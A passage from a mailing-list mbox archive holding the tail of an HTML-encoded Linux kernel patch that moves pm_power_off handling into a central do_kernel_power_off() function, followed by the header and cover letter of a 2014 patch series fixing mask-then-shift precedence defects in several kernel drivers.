=C2=A0#include &lt;linux/interrupt.h&gt;<br>
=C2=A0#include &lt;linux/delay.h&gt;<br>
+#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;linux/reboot.h&gt;<br>
=C2=A0#include &lt;linux/percpu.h&gt;<br>
=C2=A0#include &lt;linux/err.h&gt;<br>
@@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)<b=
r>
=C2=A0}<br>
<br>
=C2=A0/*<br>
- * power off function, if any<br>
- */<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
-/*<br>
=C2=A0 * On SMP it&#39;s slightly faster (but much more power-consuming!)<b=
r>
=C2=A0 * to poll the -&gt;work.need_resched flag instead of waiting for the=
<br>
=C2=A0 * cross-CPU IPI to arrive. Use this option with caution.<br>
@@ -93,6 +88,7 @@ void machine_power_off(void)<br>
=C2=A0#ifdef CONFIG_KERNEL_DEBUGGER<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 gdbstub_exit(0);<br>
=C2=A0#endif<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0}<br>
<br>
=C2=A0void show_regs(struct pt_regs *regs)<br>
diff --git a/arch/openrisc/kernel/process.c b/arch/openrisc/kernel/process.=
c<br>
index 386af25..494afd2 100644<br>
--- a/arch/openrisc/kernel/process.c<br>
+++ b/arch/openrisc/kernel/process.c<br>
@@ -25,6 +25,7 @@<br>
=C2=A0#include &lt;linux/kernel.h&gt;<br>
=C2=A0#include &lt;linux/module.h&gt;<br>
=C2=A0#include &lt;linux/mm.h&gt;<br>
+#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;linux/stddef.h&gt;<br>
=C2=A0#include &lt;linux/unistd.h&gt;<br>
=C2=A0#include &lt;linux/ptrace.h&gt;<br>
@@ -51,7 +52,7 @@<br>
=C2=A0 */<br>
=C2=A0struct thread_info *current_thread_info_set[NR_CPUS] =3D { &amp;init_=
thread_info, };<br>
<br>
-void machine_restart(void)<br>
+void machine_restart(char *cmd)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 printk(KERN_INFO &quot;*** MACHINE RESTART ***\=
n&quot;);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 __asm__(&quot;l.nop 1&quot;);<br>
@@ -72,11 +73,12 @@ void machine_halt(void)<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 printk(KERN_INFO &quot;*** MACHINE POWER OFF **=
*\n&quot;);<br>
+<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 __asm__(&quot;l.nop 1&quot;);<br>
=C2=A0}<br>
<br>
-void (*pm_power_off) (void) =3D machine_power_off;<br>
-<br>
=C2=A0/*<br>
=C2=A0 * When a process does an &quot;exec&quot;, machine state like FPU an=
d debug<br>
=C2=A0 * registers need to be reset.=C2=A0 This is a hook function for that=
.<br>
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c<br=
>
index 0bbbf0d..3f5d14a 100644<br>
--- a/arch/parisc/kernel/process.c<br>
+++ b/arch/parisc/kernel/process.c<br>
@@ -41,6 +41,7 @@<br>
=C2=A0#include &lt;linux/fs.h&gt;<br>
=C2=A0#include &lt;linux/module.h&gt;<br>
=C2=A0#include &lt;linux/personality.h&gt;<br>
+#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;linux/ptrace.h&gt;<br>
=C2=A0#include &lt;linux/sched.h&gt;<br>
=C2=A0#include &lt;linux/slab.h&gt;<br>
@@ -133,7 +134,9 @@ void machine_power_off(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 pdc_soft_power_button(0);<br>
<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUT=
DOWN);<br>
-<br>
+<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 /* It seems we have no way to power the system =
off via<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0* software. The user has to press the but=
ton himself. */<br>
<br>
@@ -141,9 +144,6 @@ void machine_power_off(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0&quot;Please power t=
his system off now.&quot;);<br>
=C2=A0}<br>
<br>
-void (*pm_power_off)(void) =3D machine_power_off;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0/*<br>
=C2=A0 * Free current thread data structures etc..<br>
=C2=A0 */<br>
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup=
-common.c<br>
index 1362cd6..5b7a851 100644<br>
--- a/arch/powerpc/kernel/setup-common.c<br>
+++ b/arch/powerpc/kernel/setup-common.c<br>
@@ -141,6 +141,9 @@ void machine_power_off(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 machine_shutdown();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 if (ppc_md.power_off)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 ppc_md.power_off();=
<br>
+<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0#ifdef CONFIG_SMP<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 smp_send_stop();<br>
=C2=A0#endif<br>
@@ -151,9 +154,6 @@ void machine_power_off(void)<br>
=C2=A0/* Used by the G5 thermal driver */<br>
=C2=A0EXPORT_SYMBOL_GPL(machine_power_off);<br>
<br>
-void (*pm_power_off)(void) =3D machine_power_off;<br>
-EXPORT_SYMBOL_GPL(pm_power_off);<br>
-<br>
=C2=A0void machine_halt(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 machine_shutdown();<br>
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c<br>
index e80d9ff..267e025 100644<br>
--- a/arch/s390/kernel/setup.c<br>
+++ b/arch/s390/kernel/setup.c<br>
@@ -263,13 +263,9 @@ void machine_power_off(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0*/<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 console_unblank();<=
br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 _machine_power_off();<br>
-}<br>
<br>
-/*<br>
- * Dummy power off function.<br>
- */<br>
-void (*pm_power_off)(void) =3D machine_power_off;<br>
-EXPORT_SYMBOL_GPL(pm_power_off);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+}<br>
<br>
=C2=A0static int __init early_parse_mem(char *p)<br>
=C2=A0{<br>
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c<br>
index a1519ad3..b76ea67 100644<br>
--- a/arch/score/kernel/process.c<br>
+++ b/arch/score/kernel/process.c<br>
@@ -29,9 +29,6 @@<br>
=C2=A0#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;linux/rcupdate.h&gt;<br>
<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0/* If or when software machine-restart is implemented, add code here.=
 */<br>
=C2=A0void machine_restart(char *command) {}<br>
<br>
@@ -39,7 +36,10 @@ void machine_restart(char *command) {}<br>
=C2=A0void machine_halt(void) {}<br>
<br>
=C2=A0/* If or when software machine-power-off is implemented, add code her=
e. */<br>
-void machine_power_off(void) {}<br>
+void machine_power_off(void)<br>
+{<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+}<br>
<br>
=C2=A0void ret_from_fork(void);<br>
=C2=A0void ret_from_kernel_thread(void);<br>
diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c<br>
index 04afe5b..065de12 100644<br>
--- a/arch/sh/kernel/reboot.c<br>
+++ b/arch/sh/kernel/reboot.c<br>
@@ -11,9 +11,6 @@<br>
=C2=A0#include &lt;asm/tlbflush.h&gt;<br>
=C2=A0#include &lt;asm/traps.h&gt;<br>
<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0#ifdef CONFIG_SUPERH32<br>
=C2=A0static void watchdog_trigger_immediate(void)<br>
=C2=A0{<br>
@@ -51,8 +48,7 @@ static void native_machine_shutdown(void)<br>
<br>
=C2=A0static void native_machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0}<br>
<br>
=C2=A0static void native_machine_halt(void)<br>
diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.=
c<br>
index 50e7b62..cb8148a 100644<br>
--- a/arch/sparc/kernel/process_32.c<br>
+++ b/arch/sparc/kernel/process_32.c<br>
@@ -48,14 +48,6 @@<br>
=C2=A0 */<br>
=C2=A0void (*sparc_idle)(void);<br>
<br>
-/*<br>
- * Power-off handler instantiation for pm.h compliance<br>
- * This is done via auxio, but could be used as a fallback<br>
- * handler when auxio is not present-- unused for now...<br>
- */<br>
-void (*pm_power_off)(void) =3D machine_power_off;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0/*<br>
=C2=A0 * sysctl - toggle power-off restriction for serial console<br>
=C2=A0 * systems in machine_power_off()<br>
@@ -112,6 +104,8 @@ void machine_power_off(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 sbus_writeb(power_r=
egister, auxio_power_register);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 machine_halt();<br>
=C2=A0}<br>
<br>
diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c<br>
index eba7d91..3c0bb03 100644<br>
--- a/arch/sparc/kernel/reboot.c<br>
+++ b/arch/sparc/kernel/reboot.c<br>
@@ -16,17 +16,13 @@<br>
=C2=A0 */<br>
=C2=A0int scons_pwroff =3D 1;<br>
<br>
-/* This isn&#39;t actually used, it exists merely to satisfy the<br>
- * reference in kernel/sys.c<br>
- */<br>
-void (*pm_power_off)(void) =3D machine_power_off;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 if (strcmp(of_console_device-&gt;type, &quot;se=
rial&quot;) || scons_pwroff)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 prom_halt_power_off=
();<br>
<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 prom_halt();<br>
=C2=A0}<br>
<br>
diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c<br>
index 6c5d2c0..8ff4a7f 100644<br>
--- a/arch/tile/kernel/reboot.c<br>
+++ b/arch/tile/kernel/reboot.c<br>
@@ -36,6 +36,9 @@ void machine_power_off(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 arch_local_irq_disable_all();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 smp_send_stop();<br>
+<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 hv_power_off();<br>
=C2=A0}<br>
<br>
@@ -45,7 +48,3 @@ void machine_restart(char *cmd)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 smp_send_stop();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 hv_restart((HV_VirtAddr) &quot;vmlinux&quot;, (=
HV_VirtAddr) cmd);<br>
=C2=A0}<br>
-<br>
-/* No interesting distinction to be made here. */<br>
-void (*pm_power_off)(void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c<br>
index ced8903..a82ef28 100644<br>
--- a/arch/um/kernel/reboot.c<br>
+++ b/arch/um/kernel/reboot.c<br>
@@ -11,8 +11,6 @@<br>
=C2=A0#include &lt;os.h&gt;<br>
=C2=A0#include &lt;skas.h&gt;<br>
<br>
-void (*pm_power_off)(void);<br>
-<br>
=C2=A0static void kill_off_processes(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 if (proc_mm)<br>
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/proces=
s.c<br>
index b008e99..9490dd5 100644<br>
--- a/arch/unicore32/kernel/process.c<br>
+++ b/arch/unicore32/kernel/process.c<br>
@@ -56,16 +56,9 @@ void machine_halt(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 gpio_set_value(GPO_SOFT_OFF, 0);<br>
=C2=A0}<br>
<br>
-/*<br>
- * Function pointers to optional machine specific functions<br>
- */<br>
-void (*pm_power_off)(void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 machine_halt();<br>
=C2=A0}<br>
<br>
diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c<br>
index 17962e6..5c09e28 100644<br>
--- a/arch/x86/kernel/reboot.c<br>
+++ b/arch/x86/kernel/reboot.c<br>
@@ -30,12 +30,6 @@<br>
=C2=A0#include &lt;asm/x86_init.h&gt;<br>
=C2=A0#include &lt;asm/efi.h&gt;<br>
<br>
-/*<br>
- * Power off function, if any<br>
- */<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0static const struct desc_ptr no_idt =3D {};<br>
<br>
=C2=A0/*<br>
@@ -647,11 +641,12 @@ static void native_machine_halt(void)<br>
<br>
=C2=A0static void native_machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off) {<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0if (have_kernel_power_off()) {<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!reboot_force)<=
br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 machine_shutdown();<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off=
();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 /* A fallback in case there is no PM info avail=
able */<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 tboot_shutdown(TB_SHUTDOWN_HALT);<br>
=C2=A0}<br>
diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c<br>
index 1a3f044..c2c1d74 100644<br>
--- a/arch/x86/xen/enlighten.c<br>
+++ b/arch/x86/xen/enlighten.c<br>
@@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)<br>
<br>
=C2=A0static void xen_machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 xen_reboot(SHUTDOWN_poweroff);<br>
=C2=A0}<br>
<br>
diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c<br=
>
index 1c85323..c487296 100644<br>
--- a/arch/xtensa/kernel/process.c<br>
+++ b/arch/xtensa/kernel/process.c<br>
@@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);<br>
<br>
=C2=A0struct task_struct *current_set[NR_CPUS] =3D {&amp;init_task, };<br>
<br>
-void (*pm_power_off)(void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
-<br>
=C2=A0#if XTENSA_HAVE_COPROCESSORS<br>
<br>
=C2=A0void coprocessor_release_all(struct thread_info *ti)<br>
diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c<br>
index ef31b77..f10cf92 100644<br>
--- a/drivers/parisc/power.c<br>
+++ b/drivers/parisc/power.c<br>
@@ -95,8 +95,7 @@ static void process_shutdown(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 /* send kill signal=
 */<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (kill_cad_pid(SI=
GINT, 1)) {<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 /* just in case killing init process failed */<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
=C2=A0}<br>
diff --git a/kernel/power/poweroff_handler.c b/kernel/power/poweroff_handle=
r.c<br>
index aeb4736..37f0b88 100644<br>
--- a/kernel/power/poweroff_handler.c<br>
+++ b/kernel/power/poweroff_handler.c<br>
@@ -22,6 +22,12 @@<br>
=C2=A0#include &lt;linux/types.h&gt;<br>
<br>
=C2=A0/*<br>
+ * If set, calling this function will power off the system immediately.<br=
>
+ */<br>
+void (*pm_power_off)(void);<br>
+EXPORT_SYMBOL(pm_power_off);<br>
+<br>
+/*<br>
=C2=A0 *=C2=A0 =C2=A0 =C2=A0Notifier list for kernel code which wants to be=
 called<br>
=C2=A0 *=C2=A0 =C2=A0 =C2=A0to power off the system.<br>
=C2=A0 */<br>
@@ -236,6 +242,8 @@ EXPORT_SYMBOL(devm_register_power_off_handler);<br>
=C2=A0void do_kernel_power_off(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 spin_lock(&amp;power_off_handler_lock);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 raw_notifier_call_chain(&amp;power_off_handler_=
list, 0, NULL);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 spin_unlock(&amp;power_off_handler_lock);<br>
=C2=A0}<br>
diff --git a/kernel/reboot.c b/kernel/reboot.c<br>
index 5925f5a..0930851 100644<br>
--- a/kernel/reboot.c<br>
+++ b/kernel/reboot.c<br>
@@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsig=
ned int, cmd,<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 return ret;<br>
<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 /* Instead of trying to make the power_off code=
 look like<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 * halt when pm_power_off is not set do it the =
easy way.<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 * halt when no poweroff handler exists do it t=
he easy way.<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0*/<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if ((cmd =3D=3D LINUX_REBOOT_CMD_POWER_OFF) &am=
p;&amp; !pm_power_off)<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0if (cmd =3D=3D LINUX_REBOOT_CMD_POWER_OFF &amp;=
&amp; !have_kernel_power_off())<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 cmd =3D LINUX_REBOO=
T_CMD_HALT;<br>
<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 mutex_lock(&amp;reboot_mutex);<br>
<span class=3D"HOEnZb"><font color=3D"#888888">--<br>
1.9.1<br>
<br>
--<br>
To unsubscribe from this list: send the line &quot;unsubscribe linux-kernel=
&quot; in<br>
the body of a message to <a href=3D"mailto:majordomo@vger.kernel.org">major=
domo@vger.kernel.org</a><br>
More majordomo info at=C2=A0 <a href=3D"http://vger.kernel.org/majordomo-in=
fo.html" target=3D"_blank">http://vger.kernel.org/majordomo-info.html</a><b=
r>
Please read the FAQ at=C2=A0 <a href=3D"http://www.tux.org/lkml/" target=3D=
"_blank">http://www.tux.org/lkml/</a><br>
</font></span></blockquote></div><br></div>

--001a113a86702f33570506284668--


--===============4758436678200825891==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

------------------------------------------------------------------------------

--===============4758436678200825891==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
User-mode-linux-user mailing list
User-mode-linux-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/user-mode-linux-user

--===============4758436678200825891==--



From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.usb.general,gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel.wireless.general,gmane.linux.kernel.input
Subject: [PATCH 00/11] treewide: mask then shift defects and style updates
Date: Sun, 26 Oct 2014 22:24:56 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <cover.1414387334.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1414387531 16109 80.91.229.3 (27 Oct 2014 05:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Oct 2014 05:25:31 +0000 (UTC)
Cc: alsa-devel@alsa-project.org, linux-wireless@vger.kernel.org,
 linux-input@vger.kernel.org
To: linux-kernel@vger.kernel.org, linux-nvme@lists.infradead.org,
 dri-devel@lists.freedesktop.org, ivtv-devel@ivtvdriver.org,
 linux-media@vger.kernel.org, patches@opensource.wolfsonmicro.com,
 netdev@vger.kernel.org, linux-usb@vger.kernel.org,
 linux-parisc@vger.kernel.org
Original-X-From: dri-devel-bounces@lists.freedesktop.org Mon Oct 27 06:25:25 2014
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1Xicnz-0003fR-6B
	for sf-dri-devel@m.gmane.org; Mon, 27 Oct 2014 06:25:24 +0100
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 501306E066;
	Sun, 26 Oct 2014 22:25:20 -0700 (PDT)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from smtprelay.hostedemail.com (smtprelay0054.hostedemail.com
 [216.40.44.54])
 by gabe.freedesktop.org (Postfix) with ESMTP id 601206E066
 for <dri-devel@lists.freedesktop.org>; Sun, 26 Oct 2014 22:25:19 -0700 (PDT)
Original-Received: from filter.hostedemail.com (ff-bigip1 [10.5.19.254])
 by smtprelay06.hostedemail.com (Postfix) with ESMTP id 43B8B9EA13;
 Mon, 27 Oct 2014 05:25:18 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, joe@perches.com,
 :::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:973:988:989:1260:1345:1437:1534:1541:1711:1730:1747:1777:1792:1801:2198:2199:2393:2559:2562:3138:3139:3140:3141:3142:3353:3865:3866:3868:4605:4823:5007:6261:10004:10848:11026:11658:11914:12043:12048:12438:12517:12519:12555:12679:13141:13230:13311:13357:14096:14394:21080,
 0, RBL:none, CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none,
 DomainCache:0, MSF:not bulk, SPF:fn, MSBL:0, DNSBL:none, Custom_rules:0:0:0
X-HE-Tag: eyes46_4b21bb1149903
X-Filterd-Recvd-Size: 2578
Original-Received: from joe-laptop.perches.com
 (pool-71-103-235-196.lsanca.fios.verizon.net [71.103.235.196])
 (Authenticated sender: joe@perches.com)
 by omf11.hostedemail.com (Postfix) with ESMTPA;
 Mon, 27 Oct 2014 05:25:16 +0000 (UTC)
X-Mailer: git-send-email 2.1.2
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <http://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <http://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <http://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:116887 gmane.linux.kernel:1813738 gmane.linux.drivers.video-input-infrastructure:83713 gmane.linux.network:335847 gmane.linux.usb.general:116879 gmane.linux.ports.parisc:6191 gmane.linux.alsa.devel:129263 gmane.linux.kernel.wireless.general:129678 gmane.linux.kernel.input:38690
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/116887>

logical mask has lower precedence than shift but should be
done before the shift so parentheses are generally required.

And when masking with a fixed value after a shift, normal kernel
style has the shift on the left, then the shift on the right so
convert a few non-conforming uses.

Joe Perches (11):
  block: nvme-scsi: Fix probable mask then right shift defects
  radeon: evergreen: Fix probable mask then right shift defects
  aiptek: Fix probable mask then right shift defects
  dvb-net: Fix probable mask then right shift defects
  cx25840/cx18: Use standard ordering of mask and shift
  wm8350-core: Fix probable mask then right shift defect
  iwlwifi: dvm: Fix probable mask then right shift defect
  ssb: driver_chip_comon_pmu: Fix probable mask then right shift defect
  tty: ipwireless: Fix probable mask then right shift defects
  hwa-hc: Fix probable mask then right shift defect
  sound: ad1889: Fix probable mask then right shift defects

 drivers/block/nvme-scsi.c                | 12 ++++++------
 drivers/gpu/drm/radeon/evergreen.c       |  3 ++-
 drivers/input/tablet/aiptek.c            |  6 +++---
 drivers/media/dvb-core/dvb_net.c         |  4 +++-
 drivers/media/i2c/cx25840/cx25840-core.c | 12 ++++++------
 drivers/media/pci/cx18/cx18-av-core.c    | 16 ++++++++--------
 drivers/mfd/wm8350-core.c                |  2 +-
 drivers/net/wireless/iwlwifi/dvm/lib.c   |  4 ++--
 drivers/ssb/driver_chipcommon_pmu.c      |  4 ++--
 drivers/tty/ipwireless/hardware.c        | 12 ++++++------
 drivers/usb/host/hwa-hc.c                |  2 +-
 sound/pci/ad1889.c                       |  8 ++++----
 12 files changed, 44 insertions(+), 41 deletions(-)

-- 
2.1.2

From - Thu Nov 08 21:10:54 2018
